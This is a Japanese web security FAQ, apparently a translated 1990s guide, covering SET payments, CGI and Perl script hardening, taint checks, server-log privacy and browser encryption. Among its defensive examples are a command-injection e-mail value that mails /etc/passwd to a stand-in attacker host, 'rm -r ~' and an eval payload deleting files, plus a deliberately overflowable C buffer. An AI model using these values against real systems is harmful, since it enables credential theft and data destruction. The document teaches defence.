インターネット上の詐欺に対応するため、SET 標準は、取引の関係者すべてのIDを保証する複雑な保証機関システムを使用しています。 顧客、業者、カード発行者、業者の銀行はすべてサインされた、 偽造できない証明書で保証されています。プライバシーの問題に対応するため、 取引は、次のように分けられています。業者は何を購入したか、代金はいくらか、 支払は承認されたかの情報にはアクセスできますが、顧客の支払方法についての情報はありません。 おなじく、カード発行者は購入金額にはアクセスできますが購入品の種類に関する情報はありません。 しかしこうした手段にも関わらず、SET は消費者に完全な匿名性を提供するものとはなっていません。
SET は顧客側と業者側の両方に特別なソフトウェアを必要とします。 SET 対応のサイトで安全な SET 処理を利用してカードで買い物をしたい場合は、SET の業者または金融機関から取得した、 SET に対応した財布を持っていなくてはなりません。 なかには、カードを使用しようとするユーザにSET 証明書の所持を求める業者もあります。 消費者にとってのSET の主な利点はディジタルの証明書によって保証された安全と、 理論上 SET 対応のサイトではどこでも同じ財布が使用できるということです。
SET のオンライン事業者になりたい業者は、SET 対応の業者用サーバ製品を構築するか購入する必要があります。 SET の Web サイトでは業者用サーバアプリケーションの購入とインストールについての情報を持った、 Vendor Status Matrixを提供しています。それから、業者は金融機関に連絡をして電子証明書を取得する必要があります。
Microsoft の Site Server Commerce Edition は、Microsoft Site Serverの上位版であり、Site Server自体は Internet Information Server の上位版です。Site Server Commerce Editionは SET を使ってリアルタイムでの信用証明に対応しています。また、コンテンツの公開、コンテンツの検索、 複数の形式でのコンテンツの送信など、Site Server のすべての機能を含んでいます。 Site Server Commerce に関する詳細情報は、以下で入手できます。 http://www.microsoft.com/siteserver/commerce/default.htm
一方、Netscape Corporation と Sun Microsystems が共同で設立したiPlanet.com は、カタログや注文の管理、 会員へのサービスや支払サービスを提供するMerchantXPert を出しています。 Netscapeの初期の電子商取引業者用サーバ製品のLivePaymentは完全な SET 対応の方向へ動いていましたが、 合併後の新しい製品は SET 対応ではなく、その方向へ向かうようには見えません。
SET に関する詳細情報は、Secure Electronic Transaction LLC のサイトを参照してください。現行の SET の仕様管理の責任を負っている組織です。
CGI スクリプトがセキュリティホールとなるケースは、以下の２つです。
CGI スクリプトは、"nobody" でサーバを実行してもセキュリティホールになる可能性があります。 破壊された CGI スクリプトは、"nobody" で実行されていても、システムのパスワードファイルをメール送信したり、 ネットワーク情報マップを調べたり、大きな番号のポートでログインセッションを起動したりできます (これを遂行するには、Perl でいくつかコマンドを実行するだけです)。 サーバが chroot で実行されていても、バグのあるCGIスクリプトはホストを危険にさらすに十分なシステムの情報を漏らしてしまう可能性があるのです。
また、クラッカーがドキュメントツリーに .cgi ファイルを作り、 URL をリクエストしてそれを実行してしまうという危険性もあります。 厳重にアクセスをコントロールされた cgi-bin のディレクトリで、この危険性を減らすことができます。
まず第一に、スクリプトのソースコードへのリモートユーザのアクセスについての問題があります。 クラッカーにスクリプトの働きに関しての知識があればあるほど、利用できるバグを見つけやすくなります。 C のようなコンパイルされた言語で書かれたスクリプトでは、それをバイナリ形式に埋め込んでcgi-bin/ に置いておけば、 ソースコードにアクセスされる心配はありません。しかし、解釈されたスクリプトでは、ソースコードはいつも、 潜在的に使用可能な状態にあります。正確に構成されたサーバなら実行可能なスクリプトにソースコードを戻すということはありませんが、 抜け道は他にもたくさんあります。
次の仮説を想定してください。便利なので、あなたはCGI スクリプトを cgi の拡張子をつけてサーバと結びつけておくことにしました。後で、 解釈された CGI スクリプトに小さな変更をする必要があり、あなたはスクリプトを Emacs テキストエディタで開いて変更を加えました。 不運なことに、その編集によってドキュメントツリーのなかにスクリプトのソースコードのバックアップコピーが残ります。 リモートユーザはスクリプト自体を取ってもソースコードの入手はできませんが、以下の URL を行き当たりばったりにリクエストすれば、 バックアップコピーを入手することができます。
http://your-site/a/path/your_script.cgi~
(CGI スクリプトを cgi-bin に限定し、その cgi-bin は必ずドキュメントルートから離しておくもう一つの理由がこれです。)
もちろん、C で書かれているCGI スクリプトのソースコードが Web 上で自由に使用できることも多く、 その場合はクラッカーのソースコードを盗む能力は問題ではありません。
コンパイルされたコードが解釈されたコードよりも安全なもうひとつの理由は、サイズと複雑さの問題です。 Shell や Perlのような大きなソフトウェアには、バグがある可能性があります。 バグのうちのいくつかは、セキュリティホールかもしれません。そこにあるのに、私達が気づいていないだけなのです。
三番目に考えるべき点は、スクリプト言語は非常に簡単にシステムコマンドにデータを送り、 その出力物を得ることを可能にしてしまう、ということです。下記に説明するように、 スクリプト内からのシステムコマンドの呼び出しは潜在的なセキュリティホールのひとつです。 C では、システムコマンドを呼び出すには手間がかかるので、プログラマはあまり好みません。 特に、完全に危険な構造を避けられる程複雑な Shell スクリプトを作成するのは非常に困難です。 取るに足らないCGIプログラムの場合を除いて、Shellスクリプト言語を使用するのはいい選択肢とは言えません。
これまで話をしてきましたが、私はコンパイルされた言語が安全だと保証しているわけではないことを理解しておいてください。 C で書かれたプログラムも、NCSA httpd 1.3 とsendmail がネット上で起こしたように、 悪用されるバグをたくさん持っている可能性があります。解釈されたスクリプトには問題もありますが、 スクリプトが短いので作成者以外の人にも理解しやすいという利点もあります。 さらに、Perl には潜在的なセキュリティホールを見つけるよう設計されたいくつかの機能が組み込まれています。 たとえば、taintチェック (下記参照) は CGI スクリプトの一般的な落とし穴を見つけることができたりするので、 同等の C のプログラムよりもいくつかの点においてはPerl の方が安全かもしれません。
そのスクリプトが完全に安全であるかはわかりません。一番良いのは、そのスクリプトをよく調べて、何を、 どのような仕組みで行っているか理解することです。もしあなたがスクリプトに書かれている言語がわからない場合は、 わかる人に見てもらいましょう。
スクリプトを調べるときに考慮する点は以下のとおりです。
このバグは、サーチエンジンをローカルにインストールした場合のみ、あなたの Web サイトを危険にさらすというとに注意してください。 Excite.com の検索ページや Excite ロボットの索引に載っているページにリンクしても、サイトには影響しません。
1998 年 2 月以前のパッチされていないバージョンでは、さらに悪い問題が見つかっています (残念ながら、これもバージョン 1.1 と呼ばれています)。 このバグは、ユーザの供給したパラメータを、 shell に送る前にチェックせずに、リモートユーザが shell コマンドをサーバホスト上で実行できてしまうという欠陥です。 そのコマンドは、Web サーバの特権で実行されることになります。
詳細とパッチについては http://www.excite.com/navigate/patches.htmlを参照してください。
私自身の生涯の痛恨事として、バグの見つかった CGI スクリプトの１つ nph-publishを使用したことがあります。 私はこれを使って Netscape Navigator Goldなどのパブリッシュ用エディタから Apache の Web サーバに HTML 文書を「公開」できるスクリプトを作成したのですが、ユーザ供給のパス名を正しく確認せず、 許可されていない部分にファイルを書き込む危険のあるスクリプトになってしまいました。 サーバが非常に多くの特権を持って実行されている場合、このバグは大きな問題となる可能性があります。 このスクリプトを使用している場合は、必ずバージョン 1.2 以降に更新してください。 このバグは、Randal Schwartz氏 (merlyn@stonehenge.com) によって発見されました。
リスト中、nph-publishの次の 二つのスクリプトのバグは Paul Phillips 氏(paulp@cerf.net) によって発見されました。彼はまた、CGI security FAQの作成者でもあります。 PHF (phone book) スクリプトのバグは Jennifer Myers氏 (jmyers@marigold.eecs.nwu.edu)によって発見され、NCSA の util.c ライブラリを使用するすべての CGI スクリプトにおける潜在的なセキュリティホールの代表となっています。 util.c の問題を fix するパッチはこちら です。
このページでは、バグのあるスクリプトの報告が随時掲載されます。
なお、Net.Genesis社とDevra Hallの共著「Build a Web Site」 という本の中で "good CGI scripting" の例として挙げられているあるスクリプトは、確認していないユーザをシェルに有効にしてしまうという古典的なエラーを含んでいます。 問題のスクリプトが掲載されているのは 11.4 章「Basic Search Script Using Grep」 443ページ です。 この本の中のその他のスクリプトも、同じようなセキュリティホールを含んでいるかもしれません。
ここで挙げたリストは、完成からほど遠いものです。一般に公開されたすべての CGI スクリプトを監視する中心機関はありません。 しかし、CERTではバグのあるスクリプトの情報を把握した場合には、警告通知を発行しています。 CERTのメーリングリストに登録する、あるいはときどき警告の記録を見るのは賢明と言えるでしょう。
最終的には、各スクリプトを調査し、そのスクリプトがなにか安全でないことをしないかどうか確かめるのは、自分自身なのです。
いくら巧妙な効果を作り出すことができるからといっても、システムの情報を漏らしてしまうスクリプトは避けるべきです。 たとえば、"finger" コマンドは、指名されたユーザのホームディレクトリの物理パスを出力するので、 fingerを呼び出すスクリプトからこの情報が漏れることになります (finger デーモンは完全に disable にしておくべき、 できれば削除してしまうべきです)。 w コマンドはローカルユーザが使用しているプログラムについての情報を与えます。 ps コマンドはどのような形式でも、システムで実行されているデーモンについての重要な情報を、 侵入しようとしているユーザに与えます。
ユーザ入力を読み込むときにキャラクタバッファのオーバフローを許すようなコーディングは、 セキュリティホールを作る大きな要因となっています。問題の簡単な例を記します。
#include <stdlib.h>ここでの問題は、作成者が、POST リクエストによって供給されたユーザ入力情報が固定された入力バッファのサイズ、 この例では 1024 バイトを決して超えない、と仮定をしたことにあります。これは良くありません。 ずる賢いクラッカーはそのサイズの入力を何度も供給することでこの種のプログラムを壊すことができます。 バッファがオーバフローし、プログラムがクラッシュします。ある状況では、プログラムがクラッシュすると、 クラッカーがリモートでコマンドを実行可能となることもあります。
#include <stdio.h> static char query_string[1024]; char* read_POST() {
int query_size; query_size=atoi(getenv("CONTENT_LENGTH")); fread(query_string,query_size,1,stdin); return query_string; }
この問題を、直接バッファを割り当てることで回避した、read_POST() 機能の簡単なバージョンがあります。 入力情報を保存するのに十分なメモリがない場合、その内容は NULL に戻されます。
char* read_POST() {
int query_size=atoi(getenv("CONTENT_LENGTH"));
char* query_string = (char*) malloc(query_size);
if (query_string != NULL)
fread(query_string,query_size,1,stdin);
return query_string;
}
もちろん、一度データに読み込んだらバッファがオーバフローしないように常に確認するべきです。
strcpy()、strcat() や終わりに達するまで文字列をコピーするその他の文字列機能には気をつけてください。
代わりに strncpy() または strncat() 呼び出しを使用してください。
#define MAXSTRINGLENGTH 255
char myString[MAXSTRINGLENGTH + sizeof('\0')];
char* query = read_POST();
assert(query != NULL);
strncpy(myString,query,MAXSTRINGLENGTH);
myString[MAXSTRINGLENGTH]='\0'; /* ensure string terminator */
(strncpy のセマンティクスは 入力文字列がちょうどMAXSTRINGLENGTHのバイトの長さになるときは注意してください。NULL で終わるよう調整する必要があります。)
C では、popen() や system() コマンドなどにこれが言えます。これらはすべてコマンドを処理するために /bin/sh のサブシェルを呼び出します。Perlでは Perlのインタプリタを呼び出すeval() や、 system()、 exec()、および piped open() などにこれが言えます。様々なシェルでは、exec や eval コマンドなどに同じことが言えます。
シェルのインタプリタや Perl ではテキストの文字列としてプログラムの出力を理解する Backtick 引用句もまた、危険です。
これほどまでにこだわる理由は、以下に示す一見何の問題もなさそうなPerl のコードを見ていただければ分かります。 これは、記入フォームに記されたアドレスにメールを送信するコードです。
$mail_to = &get_name_from_input; # read the address from form open (MAIL,"| /usr/lib/sendmail $mail_to"); print MAIL "To: $mailto\nFrom: me\n\nHi there!\n"; close MAIL;問題は、piped open() 呼び出しにあります。作成者は $mail_to 変数の内容はいつも悪意のない電子メールアドレスだと想定していますが、 もしずる賢いクラッカーが以下のような電子メールアドレスを渡したらどうなるでしょうか。
nobody@nowhere.com;mail badguys@hell.org</etc/passwd;
これに対しopen() の記述は以下のコマンドを判断します。
/usr/lib/sendmail nobody@nowhere.com; mail badguys@hell.org</etc/passwdopen() は何も考えずにシステムパスワードファイルの内容をリモートユーザにメール送信してしまい、その結果ホストのパスワードを攻撃にさらすことになります。
$mailto = &get_name_from_input; # read the address from form open (MAIL,"| /usr/lib/sendmail -t -oi"); print MAIL <<END; To: $mailto From: me (me\@nowhere.com) Subject: nothing much Hi there! END close MAIL;C のプログラマーは exec ファミリのコマンドを使用し、引数をシェルを通さずに直接プログラムに渡すことができます。 これは、下記の方法を使用すれば、Perl でも可能です。
シェルを開けないようにする方法をなんとか見つけてください。まれに全く選択肢がないという場合は、 シェルのメタキャラクタの引数を常にスキャンし、削除してください。シェルのメタキャラクタは、 以下に示すようにかなりの数があります。
&;`'\"|*?~<>^()[]{}$\n\r
このリストには、復帰文字や復帰改行文字が含まれていることに注意してください。これらは、C での CGI スクリプトの例として広く普及している NCSA の util.c
ライブラリには抜けています。
シェルのメタキャラクタをむやみに削除して予期しない副作用がないように願っているよりも、 ユーザ入力の引数がすべて予期していたものであるか確かめる方が良いでしょう。 シェルを避けてユーザ変数を直接プログラムに渡しても、その変数が呼び出したプログラムにホールを見つけだしてしまう構造を含んでいないとは限らないのです。
例として、ユーザが作った $mail_to アドレスが有効なアドレスに見えるかどうか確かめる方法を挙げます。
$mail_to = &get_name_from_input; # read the address from form
unless ($mail_to =~ /^[\w.+-]+\@[\w.+-]+$/) {
die 'Address not in form foo@nowhere.com';
}
(この特殊なパターンマッチはサイトによっては限定されすぎているかもしれません。
UUCP-style のアドレス、またはそれに代わるアドレスの仕組みの多くは認められません。)
system("ls -l /local/web/foo");
の代わりに、以下を使用してください。
system("/bin/ls -l /local/web/foo");
PATH に依存しなくてはならない場合は、CGI スクリプトの初めに以下を加えます。
putenv("PATH=/bin:/usr/bin:/usr/local/bin");
一般的に、パスにカレントディレクトリ (".") をつけるのはあまりお勧めできません。
自動的に CGI スクリプトを完全に安全にできるものは何もありませんが、CGI 「ラッパ」 のスクリプト内に置くことで、ある状況下では安全性を高めることができます。 ラッパはスクリプト上である程度のセキュリティチェックや、CGI 処理の所有権の変更をし、UNIX の chroot のメカニズムを使用してシステムファイルの制限された部分にスクリプトを置くことができます。
UNIX システムでは使用可能なラッパが多数あります。
cgiwrap はCGI スクリプトの周りにラッパをつけ、 あるユーザのスクリプトが彼自身のユーザ ID で実行するようにすることができます。 これをポリシーとし、 CGI スクリプトを実行するにはcgiwrap を必ず使用するようユーザに強制できます。 そうすれば管理は簡単になり、ユーザがお互いに干渉するのを防ぐことができるのです。
しかし、この種のラッパは個々のユーザに対しては危険を増すことになります。 あるユーザのスクリプトはそのユーザ自身の許可で実行されるため、破壊された CGI スクリプトで以下のコマンドを実行すると、 そのユーザのホームディレクトリを破壊する可能性があるからです。
rm -r ~
破壊された CGI スクリプト はユーザのホームディレクトリに書き込みアクセス権を持っているので、 そのユーザのディレクトリにトロイの木馬を置くことも可能です。
もう１つのラッパ はsboxで、著者によって書かれたものです。 cgiwrap のように、CGIの作成者のユーザ、またはそのグループとしてスクリプトを実行できます。 しかし、sboxではCGI スクリプトにより損害が引き起こされるのを防ぐためにさらに手段を設けています。 その1 つとして、sbox は任意で、限定されたディレクトリに対して chroot を実行し、 ユーザのホームディレクトリや残りのファイルシステムの多くから、スクリプトを隠します。 もう 1 つとしては、sbox を使用して CGI スクリプトに対するリソースの割り当てを制限できます。 これにより、ある程度までDoS 攻撃を防ぐことができます。
Apache の UNIX バージョンで実行するときは、sbox はユーザの維持しているディレクトリと仮想ホストをサポートします。
スクリプトへのアクセスを制限するときは、スクリプト自体にも、それにアクセスするどの HTMLフォームにも同じように制限をしておいてください。進行中に独自のフォームを作る種類のスクリプトの場合、 これを覚えることが容易です。
http://www.go2net.com/people/paulp/cgi-security/safe-cgi.txtこの文書には役立つアドバイスが非常に多くありますが、1995 年の 9 月から更新されていません。 最近では、Selena Sol 氏が構築済み（プレビルト）の CGI スクリプトのインストールの危険性についての素晴らしい論文を発表しました。 その中にスクリプトの作成やカスタマイズについて、そのセキュリティを高めるために役立つアドバイスが多くあります。 この論文は以下のサイトで見ることができます。
http://Stars.com/Authoring/Scripting/Security/Perl および CGI のスクリプト作成についての全般的な導入に関しては、Perl CGI FAQ が良いでしょう。
http://language.perl.com/CPAN/doc/FAQs/cgi/perl-cgi-faq.htmlこれは Tom Christiansen 氏(tchrist@perl.com) と Shishir Gundavaram 氏(shishir@ora.com)によって書かれたものです。
$date = `/bin/date`;
プログラムまでのパイプを開いたり
open (SORT, " | /usr/bin/sort | /usr/bin/uniq");外部プログラムを呼び出し、それが system() 関数で返されるまで待ったり
system "/usr/bin/sort < foo.in";外部プログラムを呼び出し、なおかつ exec() 関数では返されないようにすることができます。
exec "/usr/bin/sort < foo.in";構文内にシェルのメタキャラクタを含む可能性のあるユーザ入力情報が含まれていた場合、 これらはエラーを起こすことがあります。system() および exec() 関数は、 シェルを介さずに直接外部プログラムを呼び出すことができるといった、いくぶん構文を曖昧化する機能があります。 引数を外部プログラムに渡す際には、ひとつの長い文字列ではなくいくつかに分けられたリストで渡されます。 Perl 言語はシェルを介さないので、シェルのメタキャラクタが望ましくない影響を及ぼすことがなくなります。
例： system "/usr/bin/sort","foo.in";シェルを介さずにパイプを開ける際に、この機能を利用することができます。マジック文字シーケンス "|-" のオープンを呼び出すことでPerlをコピーし、これにパイプを開きます。 この複製 Perl は exec() 関数の変形引数リストを使って他のプログラムを実行することができます。
my $result = open (SORT,"|-");
die "Couldn't open pipe to subprocess" unless defined($result);
exec "/usr/bin/sort",$uservariable or die "Couldn't exec sort"
if $result == 0;
for my $line (@lines) {
print SORT $line,"\n";
}
close SORT;
open() への最初の呼び出しは Perl の複製を作ろうとします。呼び出しに失敗した場合は不定値が返され、
記述はただちに無効となります (このときユーザへ HTML エラーメッセージを送るなど、
より洗練された対策を講じることも可能です)。呼び出しに成功した場合、複製 Perl 処理にゼロが返され、
複製 Perl の処理 ID が複製元 Perl に返されます。
複製 Perl は結果の値を調べ、ただちに sort プログラムを実行しようとします。
この時点で何らかのエラーが生じた場合、複製 Perl は処理を終了します。
複製元 Perl は通常どおり SORT ファイルハンドルに印字します。
シェルを開かずにパイプから読み出すためには、シーケンス -| と同等の処理をします。
$result = open(GREP,"-|");
die "Couldn't open pipe to subprocess" unless defined($result);
exec "/usr/bin/grep",'-i',$userpattern,$filename
or die "Couldn't exec grep" if $result == 0;
while (<GREP>) {
print "match: $_";
}
close GREP;
上記はパイプを開くコマンドを実行しないときに使用する open() 関数の形式です。
外部プログラムを呼び出す際にその名前を正確に指定する必要のない、より曖昧化された機能もあります。 この機能は、呼び出される名前によって異なった働きをするプログラムを呼び出すときに便利です。
構文：
system $real_name "fake_name","argument1","argument2"例:
$shell = "/bin/sh"この構文は "-sh" という名前のシェルを呼び出し、インタラクティブに作用するよう強制します。 実際のプログラム名は変数内に格納されています。実際のプログラム名を含む変数と引数リストの間にコンマは入らないことに注意してください。
system $shell "-sh","-norc"
上記の構文をさらにコンパクトにすることもできます。
system { "/bin/sh" } "-sh","-norc"
taint チェックはPerl Ver. 4では "taintperl" という特殊なインタプリタを使用して起動できます。
#!/usr/local/bin/taintperlPerl Ver. 5では -Tフラグをインタプリタへ渡してください。
#!/usr/local/bin/perl -T変数を "untaint" する (汚れをとる) 方法については、以下を参照してください。
taint モードに関する詳しい説明は、Gunther Birznieksの CGI/Perl Taint Mode FAQ を参照してください。
$ENV{'PATH'} = '/bin:/usr/bin:/usr/local/bin';
検索するディレクトリのリストに、この行を必要に応じて調整して挿入してください。ただし、
現在のディレクトリ (".") をパスに入れるのは避けてください。
$mail_address=~/(\S+)\@([\w.-]+)/; $untainted_address = "$1\@$2";これは、"where" がドメイン名のような役割を示し "who" が空白以外の1つ以上の文字で構成される who@where という形式の電子メールアドレスを受け入れるパターンマッチです。ただし、 通常使用されているこの表記法は、電子メールアドレスからシェルのメタキャラクタを消去するものではないことに注意してください。 例えば以下の文字列にはメタキャラクタが含まれていますが、これは電子メールアドレスとしては完全に有効だからです。
fred&barney@bedrock.comこの電子メールの例を見ればよく分かるように、変数を untaint しても、シェルに渡して大丈夫となったわけではありません。 Q44 であげた方法を用いて、 危険性を秘めた変数がシェルに渡されないようにしてください。
foreach (@files) {
m/$user_pattern/o;
}
しかしこのとき、Perl はユーザ変数に対して行った変更を無視し、以下のようなループを起こしてしまいます。
foreach $user_pattern (@user_patterns) {
foreach (@files) {
print if m/$user_pattern/o;
}
}
これを回避するため、Perl プログラマは次のような技を使います。
foreach $user_pattern (@user_patterns) {
eval "foreach (\@files) { print if m/$user_pattern/o; }";
}
ここでの問題は、ユーザが供給する変数を eval() 関数が含んでいることです。
この変数が十分にチェックされないと、eval() 関数は間違って任意の Perl コードを実行してしまいます。
どのような現象が起こるかは、たとえばユーザが "/; system 'rm *'; /" というパターンに
eval 関数を渡したらどうなるかを考えてみると分かります。
前に述べた taint チェックは、この潜在的な問題点を見つけることができます。 他の方法として、パターンマッチ操作を最適化していない形式で使用するか、 十分に注意してユーザサプライのパターンを untaint する方法があります。Perl5 では、 エスケーシーケンス \Q \E を使用してメタキャラクタを引用し、 それらが解釈されないようにするという便利な方法もあります。
例： print if m/\Q$user_pattern\E/o;
"s" ビットを設定することによって、スクリプトに所有者の特権を持たせて動作させることができます。
chmod u+s foo.plまた、"s" ビットをグループフィールドに設定することによって、 スクリプトに所有者グループの特権を持たせて動作させることもできます。
chmod g+s foo.plしかし、多くの UNIX システムにはsuid スクリプトを破壊するセキュリティホールがあります。 このホールはスクリプトに対してのみ作用し、コンパイルされたプログラムには影響しません。 このようなシステムで suid ビットが設定された Perl スクリプトを実行しようとすると、 Perl 自身からエラーメッセージが出されます。
このようなシステムに対して、2 つのオプションがあります。
ftp://rtfm.mit.edu/pub/usenet-by-group/comp.lang.perl/
#include <unistd.h>
void main () {
execl("/usr/local/bin/perl","foo.pl","/local/web/cgi-bin/foo.pl",NULL);
}
このプログラムをコンパイルしたのち、suid スクリプトにしてください。所有者の承諾を得た状態で動作し、
Perl のインタプリタが立ち上がり、ファイル "foo.pl" 内のステートメントが実行されます。
もうひとつのオプションとしては、サーバ自身をスクリプトが必要とする特権を十分に持つユーザとして動作させる方法があります。 もしCERN サーバを使っているのであれば、それぞれのスクリプトに対し異なったユーザとして動作させることもできます。 詳細は CERN のマニュアルを参照してください。
ほとんどのサーバはすべてのアクセスを記録しています。通常、ログ（記録内容）にはIP アドレスおよびホスト名、ダウンロード時間、ユーザ名（ユーザ認証で認識されたかあるいは identdプロトコルで得られた場合）、リクエストされたURL（GET方式を使用して提示されフォーム内の変数値を含む）、 リクエストの状態、送信されたデータのサイズなどが含まれます。また、ブラウザによってはユーザが使用しているクライアント、 クライアントが経由したURL、ユーザのe-mailアドレスといった情報を提供するものもあります。 サーバはこういった情報を記録するだけでなく、CGI言語で使用できるようにすることもできます。 ほとんどのWWW利用者は自分専用のマシンから操作を行っているでしょうから、ダウンロードはその個人により行われているといえます。 ですから、これらの情報を明らかにするということは、本質的にそのユーザに対して被害を与えることになります。
たとえばXYZ.comがABC.comの経営報告をダウンロードすることは、企業の吸収合併の兆候となりえます。 また、社内人材募集へのアクセスは、誰が異動を希望しているのかを明らかにしてしまいますし、 漫画をダウンロードしている時間がわかるとユーザが会社の資産を本来の目的以外に使用していることが分かってしまいます。 参照ログエントリには以下のようなものが含まれます。
file://prez.xyz.com/hotlists/stocks2sellshort.html -> http://www.xyz.com/
個人のアクセスの傾向は、その人がどのように情報を活用しているかを示してしまいますし、 その人が何を検索したかは、特に大きな情報源となり得ます。
その他にも、ローカル環境でのWebの使用状況は、ブラウザの履歴やホットリスト、キャッシュなどからも知られてしまいます。 もしも誰かがユーザのマシンにアクセスした場合、これらのデータの内容をチェックできてしまいます。 開放されているラボや公共図書館などにある共有マシンが分かりやすい例でしょう。
とりわけ、組織のセキュリティシステム（firewall）外のWebサービスへのアクセスに使用されるプロキシサーバは微妙な位置にあります。 プロキシサーバは、すべての組織内部メンバの外部Webへのアクセスを記録し、 かつリクエストを行ったホストのIPナンバとリクエストされたURLを追跡するからです。 ですから、プロキシサーバを注意して管理していないと、深刻なプライバシー侵害を引き起こすことになります。
政府関連のWebサイトであれば、訪れたユーザのプライバシーを守るよう法的に要求されることもあります。 たとえば、米国の各連邦機関がクライアントに関し様々なデータを収集/公開することは禁じられています。
また米国内のほとんどの州では、図書館やビデオショップが顧客の貸出記録を販売/配布することを違法としています。 法廷は未だ同等の法的基準を電子情報サービスに対して適用していませんが、 ユーザがプライベートな内容に関してWeb上に同様のことを期待するのは不当なことではありません。 他の国でも、たとえばドイツではオンラインアクセスのリストを公表することを法律で明確に禁止しています。 もしもあなたのサイトで、メールリストを作成したり他の事業に転売するためにWeb記録を使うことを決めたのならば、 そのことをはっきりと明言しておく必要があります。
情報を集めすぎないようにする簡単な方法は、用途に合わせて出力記録を作るようなサーバを使用し、 重要なデータだけを残してあとは処分してしまうようにすることです。また、 未処理の記録の要約と処分を定期的に行う方法もあります。人気のあるサイトの記録は急激に増加しがちなので、 いずれにせよこういった対策を講じる必要が生じるでしょう。
外部のユーザについてはログを要約することでプライバシーを守ることができますが、 内部のユーザに関しては次の方法で守ることができます。
サイトのドメインからWebアクセスを見られないようにしたいのならば、匿名アクセスを提供している他のインターネットプロバイダからWebクライアントアカウントを入手する必要があります。
一般に普及している PC スプレッドシートプログラムで生成されるマクロワークシートでも同様の注意が必要です。 自動的に再計算を行うスプレッドシートを受け取るために "application/x-msexcel-macro" タイプを利用したくなりますが、 Excel マクロ言語の関数には、 潜在的に他のワークシートやファイルへ悪影響を及ぼすものがあります。 ワープロソフトのシートやテンプレートファイルのように、特に影響がないと思われるデータについても同様の注意が必要です。 ほとんどの高機能ワープロソフトにはマクロ処理機能が組み込まれています。 ワープロマクロの悪用例として、文書間でウィルスのように波及する Microsoft Word の "prank macro"が挙げられます。
私が知っているあるユーザは、自身または信頼できる作成者が書いたスクリプトのダウンロードのみに C-Shell を使うことにしました。彼は、ダウンロードする前に手動ですべての URL を表示させ、.csh という拡張子がついていないことを確認していました。 しかし残念ながら、どのような URL が含まれているかを判別するのに、ファイルの拡張子はあまりあてになりません。 文書のタイプを判別するのはブラウザではなく Web (HTTP) サーバであり、application/x-csh タイプの文書には単に .txt という拡張子がついていることも、拡張子がないこともあります。
つまり、実行可能なステートメントを含むファイルを見るための外部ビューアを使うときは十分な注意が必要であるということです。
このセキュリティ問題は、危険な機能を disable にすることができる Java や Safe Tcl を言語として指定することにより対処できます。perl プログラムのより安全な外部ビューアとして使用できるプロトタイプの "Safe Perl" もあります。
このメッセージを消すには、Netscape の [オプション] メニューから [セキュリティの設定] を選択し、[Images and Security] を選択して [保護なしでフォームを送信するとき警告する] チェックボックスのチェックを外してください。
Netscape サーバおよびブラウザは、40 ビットまたは 128 ビットの秘密鍵を使用して暗号化を行います。 40 ビットのキーでは、"brute force"方式 (メッセージの暗号を解除できるキーを見つけるまで 2^40個のキーをひとつひとつ試してみる方法) に対抗するには弱いため、セキュリティは確保できないと考えられています。 実際、あるフランスの調査員が、1995 年にワークステーションのネットワークで 40 ビット暗号化メッセージを一週間ほどで解読したことが報道されています。おそらく特殊なハードウェアでは、 この程度のメッセージはものの数十分で解読されてしまうと思われます。しかし 128 ビットのキーを使えば、 2^128 のキーが考えられるわけで、このような問題を回避することができます。このメッセージを brute force 方式で解読するには、従来の技術では宇宙規模の年数を必要とすると言われています。残念ながら、 ほとんどの Netscape ユーザが使用しているのは 40 ビット秘密鍵のみをサポートしているブラウザです。 これは、米国外へ輸出される可能性のある暗号化ソフトウェアに法的な制限があるためです。
Netscape バージョン 3.X 以前のものでは、[ファイル] メニューの 「文書情報」 画面で特定の文書に使用されている暗号の種類を知ることができます。この情報は、Netscape 画面の左下にある小さな鍵のマークでも知ることができます。三本の歯がある鍵は 128 ビット暗号、二本の歯がある鍵は 40 ビット暗号、壊れた鍵は暗号なしを示します。 ご利用のブラウザが 128 ビット暗号をサポートしている場合でも、古いサーバまたは米国およびカナダ以外のサーバと通信している場合は 40 ビット暗号になります。
Netscape バージョン 4.X 以降では、[Security] ボタンをクリックすると、現在のページが暗号化されているかどうかとその暗号レベルを見ることができます。
Microsoft Internet Explorer では、暗号を使用しているときは画面の右下に南京錠のマークが表示されます。 40 ビットと 128 ビットのどちらを使用しているかは、[ファイル] -> [プロパティ] を選択して文書情報のページを開くとわかります。使用時には、"weak" (40 ビット) または "strong" (128 ビット) と表示されます。 .
アタッカーは多くのメッセージを Web サーバに送ろうとするので、CPU の負荷状態やメモリ使用量、 異常なネットワークアクティビティの増加などに注意していれば、変化を察知できるかもしれません。 また、C2Netの Stronghold のような SSLEay ライブラリに基づく製品は、約 300 MB ごとに突発的な SSL エラーログを監視します。
1998 年 6 月以前までの SSL 許可 Web サーバでは、こうした攻撃が発生する可能性があります。 以下の製品にはパッチが使用可能です。
個人証明書は Web 上で広範囲に使用するものではありません。主な目的は、企業の Web サーバで個人証明書を提示することにより、社内イントラネットで社外秘情報にアクセスすることにあります。 ただし、近い将来、インターネットベースの金融上、法律上の取引で証明書を使用する可能性もあると多くの人が考えています。
個人証明書はどの程度安全なのでしょうか。個人証明書は、署名や署名の認証に公開鍵暗号方式を使用しています。 Q26 の SSL 関連Q&A にあったように、公開鍵暗号方式のセキュリティは、ユーザの秘密鍵の機密性に完全依存しています。 電子証明書を申請すると、自動的に申請者の秘密鍵が生成され、申請者のマシンのハードディスクに保存されます。 生成中、秘密鍵をディスクに保存する前に暗号化するためのパスワードを入力するようプロンプトが表示されます。このように予防策をを講じることで、 マシンの物理的な問題やネットワーク上の問題が生じた場合に鍵が傍受される危険性を軽減することができます。
秘密鍵は、これを処理するソフトウェアと同じ安全性しか保たれないため、残念ながらこのスキーマは絶対に確実なものではありません。 前のセクションで説明したように、ブラウザソフトウェアには、既知および未知のものを合わせて数え切れないほどのセキュリティホールがあります。 こうしたセキュリティホールの悪用により、新しいソフトウェアがマシンにインストールされたり、 またはブラウザ自体が変更されたりすると、そのソフトを使って秘密鍵を解読し、 その後秘密鍵をメモリからリカバリしておくことが可能となります。一度秘密鍵が傍受されてしまうと、 他人が鍵の所有者になりすますことが可能です。 本来のユーザになりすまして Web サイトにアクセスしたり、 S/MIME メッセージを送ったり、将来的には法的な文書に署名することが可能になってしまいます。
